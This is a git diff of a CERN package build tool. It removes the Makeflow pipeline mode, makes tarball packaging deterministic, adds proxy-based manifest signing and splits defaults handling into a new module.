( - "PYTHONPATH={bits_dir} {py} -m bits_helpers.checkout_runner" - " --spec-json {json}" - " --work-dir {wd}" - " --reference-sources {ref}" - " --enforce-mode {enforce}" - " --parallel-sources {psrc}" - ).format( - bits_dir=quote(bits_dir), - py=quote(sys.executable), - json=quote(_checkout_json), - wd=quote(workDir), - ref=_ref, - enforce=_enforce, - psrc=_psrc, - ) - - buildList.append((p, _build_cmd, tar_command, upload_command, cachedTarball, breq, checkout_cmd)) - - if (not args.makeflow) and (args.builders > 1) and buildTargets: + fetch_id = "fetch:%s" % p + scheduler.parallel(fetch_id, [], "download", _doCheckout, spec, workDir, + args.referenceSources, args.docker, + _download_time_mode(effective_checksum_mode), syncHelper, + getattr(args, "parallelSources", 1), raw_architecture) + build_deps = build_deps + [fetch_id] + scheduler.parallel("build:%s" % p, build_deps, "build", runBuildCommand, scheduler, p, specs, args, build_command,cachedTarball, scriptDir, workDir, syncHelper) + + if (args.builders > 1) and buildTargets: _run_t0 = time.monotonic() try: scheduler.run() @@ -4336,140 +3579,6 @@ def _build_row(pkg): default_stats_path(workDir, args.architecture), _tuning["recommendation"]) if scheduler.brokenJobs: dieOnError(True, "Please fix the above errors.") - elif args.makeflow and buildTargets: - mFlow = "makeflow" - mfDir = join(workDir, "BUILD", spec["hash"], "makeflow") - mfFile = mfDir + "/Makeflow" - makedirs(mfDir, exist_ok=True) - _mf_max_local = getattr(args, "makeflowJobs", 4) - _mf_local_flag = "--max-local {}".format(_mf_max_local) if _mf_max_local > 0 else "" - # FIX: quote(mfDir) prevents shell injection when workDir contains spaces, - # semicolons, or other shell metacharacters (shell=True is still needed for - # the cd+semicolon compound command pattern). - mfCmd = "(cd {dir}; {mf} --clean; {mf} {local})".format( - dir=quote(mfDir), mf=mFlow, local=_mf_local_flag) - makedirs(mfDir, exist_ok=True) - jnj = "" - try: - with open(dirname(realpath(__file__))+'/Makeflow.jnj') as fp: - jnj = fp.read() - except Exception: - from pkg_resources import resource_string - jnj = resource_string("bits_helpers", 'Makeflow.jnj') - with open(mfFile, 'w') as mf: - mf.write (SandboxedEnvironment(autoescape=False) - .from_string(jnj) - .render(specs=specs, args=args, ToDo=buildList) - ) - for (p, build_command, tar_command, upload_command, cachedTarball, breq, checkout_cmd) in buildList: - spec = specs[p] - print ( - ("Unpacking %s@%s" if cachedTarball else - "Compiling %s@%s (use --debug for full output)") % - (spec["package"], - args.develPrefix if "develPrefix" in args and spec["is_devel_pkg"] else spec["version"]) - ) - child = subprocess.run(mfCmd, shell=True, capture_output=True, text=True) - err = child.returncode - - buildErrMsg = "" - if(err): - print(child.stdout) - - # Color codes for error message (if TTY) - bold = "\033[1m" if sys.stderr.isatty() else "" - red = "\033[31m" if sys.stderr.isatty() else "" - reset = "\033[0m" if sys.stderr.isatty() else "" - - # Determine paths - log_path = f"{mfDir}/log" - - # Use relative paths if we're inside the work directory - try: - from os.path import relpath - log_path = relpath(log_path, os.getcwd()) - mfDir_rel = relpath(mfDir, os.getcwd()) - except (ValueError, OSError): - mfDir_rel = mfDir # Keep absolute paths if relpath fails - - # Build the error message - buildErrMsg = f"{red}{bold}MAKEFLOW BUILD FAILED{reset}\n" - buildErrMsg += "=" * 70 + "\n\n" - - buildErrMsg += f"{bold}Makeflow Command:{reset}\n" - buildErrMsg += f" {mfCmd}\n\n" - - buildErrMsg += f"{bold}Log File:{reset}\n" - buildErrMsg += f" {log_path}\n\n" - - buildErrMsg += f"{bold}Makeflow Directory:{reset}\n" - buildErrMsg += f" {mfDir_rel}\n" - - # Gather build info for the error message - try: - detected_arch = detectArch() - - # Only show safe arguments (no tokens/secrets) in CLI-usable format - safe_args = { - "pkgname", "defaults", "architecture", "forceUnknownArch", - "develPrefix", "jobs", "noSystem", "noDevel", "forceTracked", "plugin", - "disable", "annotate", "onlyDeps", "docker", "makeflow" - } - - cli_args = [] - for k, v in vars(args).items(): - if not v or k not in safe_args: - continue - - # Format based on type for CLI usage - if isinstance(v, bool): - if v: # Only show if True - cli_args.append(f"--{k}") - elif isinstance(v, list): - if v: # Only show non-empty lists - seen = set() - for item in v: - if item not in seen: - seen.add(item) - cli_args.append(f"--{k}={quote(str(item))}") - else: - # Quote if needed - cli_args.append(f"--{k}={quote(str(v))}") - - args_str = " ".join(cli_args) - - buildErrMsg += f"\n{bold}Environment:{reset}\n" - buildErrMsg += f" OS: {detected_arch}\n" - buildErrMsg += f" bits: {__version__ or 'unknown'} (bits@{os.environ['BITS_DIST_HASH'][:10]})\n" - - if detected_arch.startswith("osx"): - xcode_info = getstatusoutput("xcodebuild -version")[1] - # Combine XCode version lines into one - xcode_lines = xcode_info.strip().split('\n') - if len(xcode_lines) >= 2: - xcode_str = f"{xcode_lines[0]} ({xcode_lines[1]})" - else: - xcode_str = xcode_lines[0] if xcode_lines else "Unknown" - buildErrMsg += f" XCode: {xcode_str}\n" - - buildErrMsg += f" Arguments: {args_str}\n" - - except Exception as exc: - warning("Failed to gather build info", exc_info=exc) - - # Add Next Steps section - buildErrMsg += f"\n{bold}Next Steps:{reset}\n" - buildErrMsg += f" • View makeflow log: cat {log_path}\n" - buildErrMsg += f" • View makeflow file: cat {mfDir_rel}/Makeflow\n" - if not args.debug: - buildErrMsg += f" • Rebuild with debug: bitsBuild build {' '.join(args.pkgname)} --debug --makeflow\n" - buildErrMsg += f" • Please upload the full log to CERNBox/Dropbox if you intend to request support.\n" - - else: - debug(child.stdout) - dieOnError(err, buildErrMsg.strip()) - for (p, _, _, _, _, _, _) in buildList: - doFinalSync(specs[p], specs, args, syncHelper) # ── Post-build checksum phase ────────────────────────────────────────────── # Runs after all packages have been built (or confirmed up-to-date) so that diff --git a/bits_helpers/build_stats.py b/bits_helpers/build_stats.py index b1879d4f..b259a6a8 100644 --- a/bits_helpers/build_stats.py +++ b/bits_helpers/build_stats.py @@ -86,8 +86,9 @@ def machine_resources() -> dict: return {"cpu": cpu, "rss": rss} -def _peak_from_trace(path: str): - """Return ``{cpu, rss, time}`` peak from one monitor trace, or None.""" +def parse_trace(path): + """Load a monitor trace (a JSON list of per-second samples). Returns the + list, or None when it is missing, unreadable, empty, or not a list.""" try: with open(path) as fh: samples = json.load(fh) @@ -95,6 +96,14 @@ def _peak_from_trace(path: str): return None if not isinstance(samples, list) or not samples: return None + return samples + + +def _peak_from_trace(path: str): + """Return ``{cpu, rss, time}`` peak from one monitor trace, or None.""" + samples = parse_trace(path) + if samples is None: + return None cpu = max((int(s.get("cpu", 0)) for s in samples), default=0) rss = max((int(s.get("rss", 0)) for s in samples), default=0) time = max((int(s.get("time", 0)) for s in samples), default=0) @@ -117,12 +126,8 @@ def _integral_from_trace(path: str): yields the *core-seconds* of useful work that package consumed — the basis for the whole-run CPU-utilisation estimate. """ - try: - with open(path) as fh: - samples = json.load(fh) - except (OSError, ValueError): - return None - if not isinstance(samples, list) or not samples: + samples = parse_trace(path) + if samples is None: return None core_seconds = 0.0 prev_t = 0 diff --git a/bits_helpers/build_template.sh b/bits_helpers/build_template.sh index c4c8567f..382f82ed 100644 --- a/bits_helpers/build_template.sh +++ b/bits_helpers/build_template.sh @@ -462,19 +462,39 @@ if [ "$CAN_DELETE" = 1 ] && [ -z "$BITS_HAS_WRITE_STORE" ]; then # (When a write store is configured the tarball is still needed for upload, so # we fall through and create it; doFinalSync removes it again after upload.) rm -f "$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV" -elif [ -z "$CACHED_TARBALL" ] && [ -z "$SKIP_TARBALL" ]; then - # Use pigz to compress, if we can, because it's multicore. - gzip=$(command -v pigz) || gzip=$(command -v gzip) - # We don't have an existing tarball, and we want to keep the one we create now. - tar -cC "$WORK_DIR/INSTALLROOT/$PKGHASH" . | - # Avoid having broken left overs if the tar fails. - $gzip -c > "$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV.processing" - mv "$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV.processing" \ - "$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV" +elif [ -z "$CACHED_TARBALL" ]; then + # Deterministic packaging (finding R1): the store tarball must be byte-identical + # across build nodes, or two builds of the same hash record different + # tarball_sha256 and certification fails. So: archive a SORTED member list with + # zeroed numeric owner/group and a fixed mtime, and PIN the compressor. Default + # is gzip -n (fully deterministic); a farm with a uniform pigz may override + # BITS_TAR_COMPRESSOR (e.g. "pigz -n -p4") — never plain pigz, whose output + # depends on the node's thread count. Byte-identity across nodes assumes a + # uniform tar + compressor toolchain (same gzip/pigz version). Check a platform + # with tools/verify-deterministic-tarball.sh. + _comp=${BITS_TAR_COMPRESSOR:-gzip -n} + _dst="$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV.processing" + # Prefer GNU tar: it normalises mtime/owner IN THE ARCHIVE (no on-disk change). + if command -v gtar >/dev/null 2>&1; then _tar=gtar + elif tar --version 2>/dev/null | grep -qi 'GNU tar'; then _tar=tar + else _tar=; fi + if [ -n "$_tar" ]; then + "$_tar" --sort=name --owner=0 --group=0 --numeric-owner --mtime='@0' \ + -cC "$WORK_DIR/INSTALLROOT/$PKGHASH" . | $_comp -c > "$_dst" + else + # bsdtar (e.g. macOS without gtar): deterministic order + numeric zero owner. + # bsdtar cannot set a uniform archive mtime, so packages are byte-reproducible + # here only if file mtimes already match — install GNU tar (brew install + # gnu-tar) on macOS build nodes for fully reproducible packages. + echo "bits: WARNING: GNU tar not found; $PKGNAME tarball may not be byte-reproducible (install gnu-tar)." >&2 + ( cd "$WORK_DIR/INSTALLROOT/$PKGHASH" && find . -print | LC_ALL=C sort > "$_dst.list" ) + ( cd "$WORK_DIR/INSTALLROOT/$PKGHASH" && tar --no-recursion --uid 0 --gid 0 \ + --numeric-owner -T "$_dst.list" -cf - ) | $_comp -c > "$_dst" + rm -f "$_dst.list" + fi + mv "$_dst" "$WORK_DIR/TARS/$HASH_PATH/$PACKAGE_WITH_REV" ln -nfs "../../$HASH_PATH/$PACKAGE_WITH_REV" \ "$WORK_DIR/TARS/$EFFECTIVE_ARCHITECTURE/$PKGNAME/$PACKAGE_WITH_REV" -# else: SKIP_TARBALL=1 means a separate tar_template.sh rule creates the -# tarball and main symlink asynchronously (--pipeline --makeflow mode). fi wait "$rsync_pid" diff --git a/bits_helpers/certify.py b/bits_helpers/certify.py index 8abfbe72..5222cdbe 100644 --- a/bits_helpers/certify.py +++ b/bits_helpers/certify.py @@ -283,9 +283,47 @@ def validate_against_store(common, probe): return fatal, missing +class _LocalSigner: + """Sign with a local Ed25519 PEM key (the default).""" + + def __init__(self, key_pem_path): + self._path = key_pem_path + + def key_id(self): + return trust.key_id(trust.load_private_key(self._path).public_key()) + + def sign_manifest(self, manifest_path, sig_path): + return trust.sign_manifest(manifest_path, self._path, sig_path) + + +class _ProxySigner: + """Sign via the security-proxy sign route — no local private key (M1).""" + + def __init__(self, url, token): + self._url, self._token = url, token + + def key_id(self): + return trust.proxy_pubkey(self._url, self._token)[0] + + def sign_manifest(self, manifest_path, sig_path): + return trust.sign_manifest_via_proxy(manifest_path, self._url, + self._token, sig_path) + + +def _make_signer(key_pem_path, sign_proxy): + """The signer for this run: a proxy signer when *sign_proxy* is a + ``(url, token)`` tuple, else a local-key signer over *key_pem_path*.""" + if sign_proxy: + if not (isinstance(sign_proxy, (tuple, list)) and len(sign_proxy) == 2): + raise ValueError("sign_proxy must be a (url, token) pair") + url, token = sign_proxy + return _ProxySigner(url, token) + return _LocalSigner(key_pem_path) + + def certify(manifests, key_pem_path, out_path, probe=None, sig_path=None, default_group=None, valid_days=None, source_commit=None, - approval_check=None) -> tuple: + approval_check=None, sign_proxy=None) -> tuple: """Merge → (approve) → (store-validate) → sign. Returns ``(out_path, sig_path)``. Raises :class:`CertifyConflict` on a hash/sha256 conflict and @@ -297,9 +335,10 @@ def certify(manifests, key_pem_path, out_path, probe=None, sig_path=None, it returns approver usernames, they are recorded as ``certified_by`` so the identity that authorised the certification travels with the signature. """ - common = _prepare_common(manifests, key_pem_path, probe, default_group, + signer = _make_signer(key_pem_path, sign_proxy) + common = _prepare_common(manifests, signer, probe, default_group, valid_days, source_commit, approval_check) - out_abs, sig_path = _write_signed(common, key_pem_path, out_path, sig_path) + out_abs, sig_path = _write_signed(common, signer, out_path, sig_path) debug("certify: signed common manifest %s (%d pkgs) -> %s", out_abs, len(common["packages"]), sig_path) return out_abs, sig_path @@ -337,7 +376,7 @@ def _drop_local_revisions(common) -> list: return local -def _prepare_common(manifests, key_pem_path, probe, default_group, valid_days, +def _prepare_common(manifests, signer, probe, default_group, valid_days, source_commit, approval_check) -> dict: """Merge → (approve) → (store-validate) → key-policy check. Returns the validated common-manifest dict (with certified_by/at stamped), ready to @@ -377,7 +416,7 @@ def _prepare_common(manifests, key_pem_path, probe, default_group, valid_days, # authorised for, so an unauthorised signature is never even produced. policy = trust.load_key_policy() if policy is not None: - kid = trust.key_id(trust.load_private_key(key_pem_path).public_key()) + kid = signer.key_id() bad = sorted({(p.get("group") or "common") for p in common["packages"] if not trust.key_authorized(kid, p.get("group"), policy)}) if bad: @@ -390,7 +429,7 @@ def _prepare_common(manifests, key_pem_path, probe, default_group, valid_days, return common -def _write_signed(common, key_pem_path, out_path, sig_path=None) -> tuple: +def _write_signed(common, signer, out_path, sig_path=None) -> tuple: """Atomically write *common* as JSON and sign it. A failed signing must never leave an *unsigned* manifest at *out_path*: sign the temp file, then move both into place. Returns ``(out_path, sig_path)``. @@ -403,7 +442,7 @@ def _write_signed(common, key_pem_path, out_path, sig_path=None) -> tuple: try: with open(tmp, "w") as fh: json.dump(common, fh, indent=1, sort_keys=True) - trust.sign_manifest(tmp, key_pem_path, tmp_sig) + signer.sign_manifest(tmp, tmp_sig) os.replace(tmp, out_abs) os.replace(tmp_sig, sig_path) except BaseException: @@ -424,7 +463,7 @@ def _arch_stem(out_path, arch) -> str: def certify_by_arch(manifests, key_pem_path, out_path, probe=None, default_group=None, valid_days=None, source_commit=None, - approval_check=None, only_archs=None) -> list: + approval_check=None, only_archs=None, sign_proxy=None) -> list: """Certify per platform and emit one signed manifest per architecture. Certification is scoped by platform: object identity in the store is @@ -459,7 +498,8 @@ def certify_by_arch(manifests, key_pem_path, out_path, probe=None, debug("certify: scoped to %s — %d of %d manifest(s) kept", ", ".join(sorted(only)), len(kept), len(loaded)) loaded = kept - common = _prepare_common(loaded, key_pem_path, probe, default_group, + signer = _make_signer(key_pem_path, sign_proxy) + common = _prepare_common(loaded, signer, probe, default_group, valid_days, source_commit, approval_check) buckets = {} for p in common["packages"]: @@ -478,7 +518,7 @@ def certify_by_arch(manifests, key_pem_path, out_path, probe=None, sub = dict(common) sub["architecture"] = arch sub["packages"] = buckets[arch] - op, sp = _write_signed(sub, key_pem_path, _arch_stem(out_path, arch)) + op, sp = _write_signed(sub, signer, _arch_stem(out_path, arch)) debug("certify: signed %s manifest %s (%d pkgs)", arch, op, len(buckets[arch])) outputs.append((op, sp, arch)) return outputs @@ -651,13 +691,29 @@ def doCertify(args, parser): only_archs = None if getattr(args, "architectures", None): only_archs = [a for a in args.architectures.split(",") if a.strip()] + # Signer: local --key by default, or the security-proxy when --sign-via-proxy + # is set. The gate token is read from the environment, never the command line. + sign_proxy = None + if getattr(args, "signViaProxy", False): + url = getattr(args, "signProxyUrl", None) or os.environ.get("BITS_SIGN_PROXY_URL") + token = os.environ.get("BITS_SIGN_PROXY_TOKEN") + if not url: + parser.error("--sign-via-proxy requires --sign-proxy-url or BITS_SIGN_PROXY_URL") + if not token: + parser.error("--sign-via-proxy requires the gate token in BITS_SIGN_PROXY_TOKEN") + if getattr(args, "key", None): + warning("certify: --key is ignored because --sign-via-proxy is set") + sign_proxy = (url, token) + elif not getattr(args, "key", None): + parser.error("certify requires --key (or --sign-via-proxy)") try: outputs = certify_by_arch(sources, args.key, args.out, probe=probe, default_group=getattr(args, "group", None), valid_days=valid_days, source_commit=source_commit, approval_check=approval_check, - only_archs=only_archs) + only_archs=only_archs, + sign_proxy=sign_proxy) except CertifyError as exc: parser.error(str(exc)) from bits_helpers.log import banner diff --git a/bits_helpers/checkout_runner.py b/bits_helpers/checkout_runner.py deleted file mode 100644 index 20808d68..00000000 --- a/bits_helpers/checkout_runner.py +++ /dev/null @@ -1,66 +0,0 @@ -# SPDX-FileCopyrightText: 2015-2026 CERN -# SPDX-License-Identifier: GPL-3.0-or-later - -"""Standalone checkout runner for Makeflow pipeline mode. - -Called as:: - - python3 -m bits_helpers.checkout_runner --spec-json PATH [--work-dir ...] - -by the Makeflow ``.checkout`` rule so that source cloning / archive downloads -run as fully independent, parallel Makeflow tasks instead of sequentially -in the Python preparation phase. - -All spec fields required by :func:`~bits_helpers.workarea.checkout_sources` -are serialised to a JSON file in the SPECS directory by ``build.py`` at -Makeflow-generation time. The ``scm`` object is reconstructed here from the -``scm_type`` string (``"git"`` or ``"sapling"``). -""" -from __future__ import annotations -import argparse -import json -import sys - - -def main(argv=None): - ap = argparse.ArgumentParser( - description="Checkout / download sources for one package (Makeflow helper)" - ) - ap.add_argument("--spec-json", required=True, - help="Path to the spec_checkout.json written by build.py") - ap.add_argument("--work-dir", required=True, - help="Build work directory (WORK_DIR)") - ap.add_argument("--reference-sources", default="", - help="Mirror / reference sources directory") - ap.add_argument("--enforce-mode", default="off", - help="Checksum enforce mode: off / warn / enforce") - ap.add_argument("--parallel-sources", type=int, default=1, - help="Concurrent source-URL downloads per package") - args = ap.parse_args(argv) - - with open(args.spec_json) as fh: - spec = json.load(fh) - - # Reconstruct the SCM object from the serialised type name. - scm_type = spec.pop("scm_type", "git") - if scm_type == "sapling": - from bits_helpers.sl import Sapling - spec["scm"] = Sapling() - else: - from bits_helpers.git import Git - spec["scm"] = Git() - - from bits_helpers.workarea import checkout_sources - checkout_sources( - spec, - args.work_dir, - args.reference_sources, - False, # containerised_build — never in Makeflow mode - enforce_mode=args.enforce_mode, - sync_helper=None, # no remote sync; prefetch workers handle that - parallel_sources=args.parallel_sources, - ) - - -if __name__ == "__main__": - main() diff --git a/bits_helpers/compliance.py b/bits_helpers/compliance.py index 84f2a346..dcf3688d 100644 --- a/bits_helpers/compliance.py +++ b/bits_helpers/compliance.py @@ -113,9 +113,10 @@ def resolve_group_specs(args, parser): from bits_helpers.cmd import getstatusoutput from bits_helpers.repo_provider import ( fetch_repo_providers_iteratively, load_always_on_providers) - from bits_helpers.utilities import ( - getConfigPaths, getPackageList, parseDefaults, readDefaults, - resolve_variables, validateDefaults) + from bits_helpers.defaults import parseDefaults, readDefaults, validateDefaults + from bits_helpers.packages import getPackageList + from bits_helpers.paths import getConfigPaths + from bits_helpers.matchers import resolve_variables config_dir = os.path.abspath(args.configDir) @@ -309,7 +310,7 @@ def _recipe_source_prefixes(recipes_dir, rec, restricted): ``SOURCES/cache/

//`` prefix. Returns ``(prefixes, unresolved)``. """ from bits_helpers.download import getUrlChecksum - url_re = re.compile(r"^(source|version|tag):[ \t]*(.*?)[ \t]*$", re.M) + url_re = re.compile(r"^(source|version|tag|package):[ \t]*(.*?)[ \t]*$", re.M) prefixes, unresolved = [], [] for pkg in sorted(restricted): name = rec["by_package"].get(pkg, {}).get("recipe") @@ -332,11 +333,16 @@ def _recipe_source_prefixes(recipes_dir, rec, restricted): if meta.get("source"): urls.append(meta["source"]) from bits_helpers.checksum import parse_entry + # %(name)s in a source URL is the package name at build time + # (build.py uses spec["package"]); resolve it too so restricted packages + # whose URLs template the name (qgraf, kkmcee, starlight, …) are cleaned. + pkgname = meta.get("package") or (name[:-3] if name.endswith(".sh") else name) for url in urls: url, _cs = parse_entry(url) # strip a ',algo:hex' checksum suffix - for key in ("version", "tag"): - url = url.replace("%%(%s)s" % key, - meta.get(key) or meta.get("version") or "") + for key, val in (("version", meta.get("version") or ""), + ("tag", meta.get("tag") or meta.get("version") or ""), + ("name", pkgname)): + url = url.replace("%%(%s)s" % key, val) if "%(" in url: unresolved.append("%s: %s" % (name, url)) continue @@ -460,10 +466,26 @@ def _delete_prefix(prefix, why): from bits_helpers import certify as _certify out = os.path.join(tempfile.mkdtemp(prefix="bits-enforce-"), "common-manifest.json") - outputs = _certify.certify_by_arch( - remaining_boms, key_pem, out, - probe=_certify.make_s3_probe(store_url, work_dir, "enforce"), - only_archs=sorted(affected_archs)) + # The restricted objects are already deleted. Re-certification can still + # fail on a PRE-EXISTING manifest problem (e.g. two BOMs disagree on a + # package's tarball_sha256 — a non-reproducible build). Don't crash with a + # traceback: report that the purge succeeded but the signed manifests are + # now stale, and how to finish. Deletions are idempotent, so re-running + # after resolving the conflict completes the re-sign. + try: + outputs = _certify.certify_by_arch( + remaining_boms, key_pem, out, + probe=_certify.make_s3_probe(store_url, work_dir, "enforce"), + only_archs=sorted(affected_archs)) + except Exception as exc: # pylint: disable=broad-except + error("Restricted objects were removed, but RE-CERTIFICATION FAILED: %s", + exc) + error("The signed manifests for %s still reference the removed objects. " + "Resolve the conflict above (it is unrelated to the restricted " + "packages — remove one of the two conflicting build manifests), " + "then re-run this command (deletions are idempotent) or run " + "`bits certify` to re-sign.", ", ".join(sorted(affected_archs))) + return 1 for op, sp, arch in outputs: for src, dst in ((op, "MANIFESTS/common-manifest-%s.json" % arch), (sp, "MANIFESTS/common-manifest-%s.json.sig" % arch)): diff --git a/bits_helpers/cvmfs_inspect.py b/bits_helpers/cvmfs_inspect.py index 67239425..520dd23f 100644 --- a/bits_helpers/cvmfs_inspect.py +++ b/bits_helpers/cvmfs_inspect.py @@ -19,7 +19,7 @@ import sys try: - from bits_helpers.utilities import ( + from bits_helpers.arch import ( detectArchComponents, arch_machine_token, arch_distro_token) except Exception: # standalone / partial import fallback detectArchComponents = None @@ -291,6 +291,17 @@ def _cmd_summary(a): def main(argv=None): + argv = sys.argv[1:] if argv is None else list(argv) + + # Producer-side ops are folded into this group (`bits cvmfs stage|publish`). + # They have their own arg sets (no --cvmfs), so dispatch before argparse. + if argv and argv[0] == "stage": + from bits_helpers.cvmfs_stage_cmd import main as _stage_main + return _stage_main(argv[1:]) + if argv and argv[0] == "publish": + from bits_helpers.cvmfs_publish import main as _publish_main + return _publish_main(argv[1:]) + # Shared options live on a parent parser so they work AFTER the subcommand # too (`bits cvmfs platforms --cvmfs ROOT`), not only before it. common = argparse.ArgumentParser(add_help=False) @@ -298,8 +309,11 @@ def main(argv=None): help="root holding /Packages///.meta.json") common.add_argument("--json", action="store_true", help="machine-readable output") - ap = argparse.ArgumentParser(prog="bits cvmfs", - description="Inspect a deployed CVMFS bits tree.") + ap = argparse.ArgumentParser( + prog="bits cvmfs", + description="Inspect a deployed CVMFS bits tree.", + epilog="producer-side ops (own --help): stage, publish " + "(e.g. `bits cvmfs stage --help`).") sub = ap.add_subparsers(dest="cmd", required=True) sub.add_parser("platforms", parents=[common], help="list platforms + host compatibility") diff --git a/bits_helpers/cvmfs_path.py b/bits_helpers/cvmfs_path.py index 7aa771db..fdf47af8 100644 --- a/bits_helpers/cvmfs_path.py +++ b/bits_helpers/cvmfs_path.py @@ -18,14 +18,13 @@ vs user and passes --admin/--login. This command only resolves paths. """ -import os import sys -from os.path import exists import re from bits_helpers.log import debug, dieOnError -from bits_helpers.utilities import parseDefaults, readDefaults, git +from bits_helpers.utilities import git +from bits_helpers.defaults import parseDefaults, readDefaults from bits_helpers.cvmfs_layout import ( resolve_cvmfs_templates, resolve_release, path_release, bake_release) @@ -47,16 +46,8 @@ def doCvmfsPath(args, parser): the group declares no CVMFS prefix or a non-admin path is requested without a login. """ - if not exists(args.configDir): - from bits_helpers.repo_provider import cwd_is_recipe_dir - _default_config_dir = os.environ.get("BITS_REPO_DIR", "alidist") - if args.configDir == _default_config_dir and cwd_is_recipe_dir(): - debug("Recipe files detected in current directory; using '.' as config dir") - args.configDir = "." - dieOnError(not exists(args.configDir), - 'Cannot find recipes under directory "%s".\n' - 'Maybe you need to "cd" to the right directory or ' - 'you forgot to run "bits init"?' % args.configDir) + from bits_helpers.repo_provider import resolve_config_dir + resolve_config_dir(args) # Load the defaults profile exactly like `bits status` — only the group's # system: block (templates) is consulted; no recipe/version resolution. diff --git a/bits_helpers/cvmfs_publish.py b/bits_helpers/cvmfs_publish.py index 7bc8daaa..5939d485 100644 --- a/bits_helpers/cvmfs_publish.py +++ b/bits_helpers/cvmfs_publish.py @@ -223,14 +223,9 @@ def submit_ingest(prepub_url, token, repo, path, tar_file, build_id="", reject a corrupted upload. direct_s3=True adds the direct_s3 field so cvmfs_server writes objects straight to S3 (bypassing the gateway). Signed by default; bearer puts the token on the request instead. Returns the job id.""" - import hashlib from bits_helpers import prepub as _pp url = "%s/api/v1/jobs" % prepub_url.rstrip("/") - h = hashlib.sha256() - with open(tar_file, "rb") as fh: - for chunk in iter(lambda: fh.read(1 << 20), b""): - h.update(chunk) - tar_sha256 = h.hexdigest() + tar_sha256 = _pp.sha256_file(tar_file) # The signed set MUST equal the fields prepub parses, or the digest differs # and the publish 401s (reads as auth failure). tar itself is not signed — # its sha256 is, and prepub re-hashes the upload to bind them. @@ -283,11 +278,8 @@ def tar_path(spec, tars_root, default_arch): def _human(n): """Bytes as a short human string (1.8G, 212M, 4K, 0B). For log cross-checks.""" - n = float(n) - for u in ("B", "K", "M", "G", "T"): - if n < 1024 or u == "T": - return ("%.0f%s" % (n, u)) if u == "B" else ("%.1f%s" % (n, u)) - n /= 1024.0 + from bits_helpers.utilities import human_bytes + return human_bytes(n, units=("B", "K", "M", "G", "T"), sep="") def payload_size(spec, tars_root, default_arch): @@ -555,7 +547,7 @@ def _run(extra): def main(argv=None): import argparse - ap = argparse.ArgumentParser(prog="bits cvmfs-publish") + ap = argparse.ArgumentParser(prog="bits cvmfs publish") ap.add_argument("--fingerprint", default="", help="print the content fingerprint of a directory tree and " "exit (the CI uses this to fingerprint its own relocated " diff --git a/bits_helpers/cvmfs_stage_cmd.py b/bits_helpers/cvmfs_stage_cmd.py index fedf56ee..f1d913fe 100644 --- a/bits_helpers/cvmfs_stage_cmd.py +++ b/bits_helpers/cvmfs_stage_cmd.py @@ -241,7 +241,7 @@ def prepare_lock(repo, spool=None, timeout=1800): def main(argv=None): - ap = argparse.ArgumentParser(prog="bits cvmfs-stage") + ap = argparse.ArgumentParser(prog="bits cvmfs stage") ap.add_argument("--repo", required=True) ap.add_argument("--path", required=True, help="CVMFS path to publish at") ap.add_argument("--tar", required=True) diff --git a/bits_helpers/defaults.py b/bits_helpers/defaults.py new file mode 100644 index 00000000..414b7af9 --- /dev/null +++ b/bits_helpers/defaults.py @@ -0,0 +1,305 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Defaults profile handling: read and merge the ``defaults-*.sh`` chain, resolve +per-package family/override policy, and validate a package against the selected +defaults. Sits above the recipe layer (it reads defaults recipes) and imports the +list-coercion primitive from utilities.""" + +import fnmatch +import json +import os +import sys +from collections import OrderedDict +from os.path import exists + +from bits_helpers.log import banner, debug, dieOnError +from bits_helpers.recipe import getRecipeReader, parseRecipe +from bits_helpers.paths import resolveDefaultsFilename +from bits_helpers.utilities import asList + +def validateDefaults(finalPkgSpec, defaults): + if "valid_defaults" not in finalPkgSpec: + return (True, "", []) + validDefaults = asList(finalPkgSpec["valid_defaults"]) + nonStringDefaults = [x for x in validDefaults if not isinstance(x, str)] + if nonStringDefaults: + return (False, "valid_defaults needs to be a string or a list of strings. Found %s." % nonStringDefaults, []) + defaultsList = asList(defaults) + invalidDefaults = [d for d in defaultsList if d not in validDefaults] + if not invalidDefaults: + return (True, "", validDefaults) + return (False, "Cannot compile %s with `%s' default. Valid defaults are\n%s" % + (finalPkgSpec["package"], + ", ".join(invalidDefaults), + "\n".join([" - " + x for x in validDefaults])), validDefaults) + +def incompatibleFlavorDefaults(validDefaults, defaults, defaults_meta=None): + """Evaluate the valid_defaults gate for a chained-defaults build, ignoring + structural/overlay layers. + + Packages declare ``valid_defaults`` to gate on build *flavors* (e.g. ``o2``, + ``o2-epn``). Structural layers are not flavors and must be ignored: the + always-present ``release`` base, and any default whose file declares + ``valid_defaults_exempt: true`` (e.g. the ``alidist`` variant). Their names + are collected by :func:`readDefaults` into ``defaults_meta['_valid_defaults_exempt']``. + + Returns ``(bad, missing)``: + + * ``bad`` – chosen flavor defaults the packages do not accept; + * ``missing`` – ``True`` when the packages require a flavor + (``validDefaults`` is non-empty) but only structural layers were selected. + + When *validDefaults* is falsy (no package restricts defaults, e.g. a plain + LCG build) the build is always compatible and ``([], False)`` is returned. + """ + if not validDefaults: + return ([], False) + exempt = set((defaults_meta or {}).get("_valid_defaults_exempt", ())) + exempt.add("release") + flavors = [d for d in defaults if d not in exempt] + bad = [d for d in flavors if d not in validDefaults] + return (bad, not flavors) + + + + +def merge_dicts(dict1, dict2, skip_keys=None) -> OrderedDict: + """ + Merge two ordered dictionaries where dict2's keys updates dict1's keys recursively. + + Args: + dict1: First dictionary (base) + dict2: Second dictionary (updates) + skip_keys: Set of keys to skip during merge (won't be updated from dict2) + + Returns: + OrderedDict with merged values + """ + if dict2 is None: + return dict1.copy() + if skip_keys is None: + skip_keys = set() + + # Add all keys from dict1 first + merged = dict1.copy() + + # Overwrite with dict2's values and add new keys + for key, value in dict2.items(): + # Skip keys that are in the skip list + if key in skip_keys: + continue + + if key not in merged: + # Add new key from dict2 + merged[key] = value + elif isinstance(merged[key], dict) and isinstance(value, dict): + # Recursively merge nested ordered dictionaries + merged[key] = merge_dicts(merged[key], value, skip_keys) + elif isinstance(merged[key], list) and isinstance(value, list): + # Merge lists, such as for "disabled" + merged[key].extend(value) + else: + # Overwrite existing key + merged[key] = value + + return merged + +def resolve_pkg_family(defaults_meta: dict, package_name: str) -> str: + """Return the package family for *package_name* from the defaults metadata. + + The 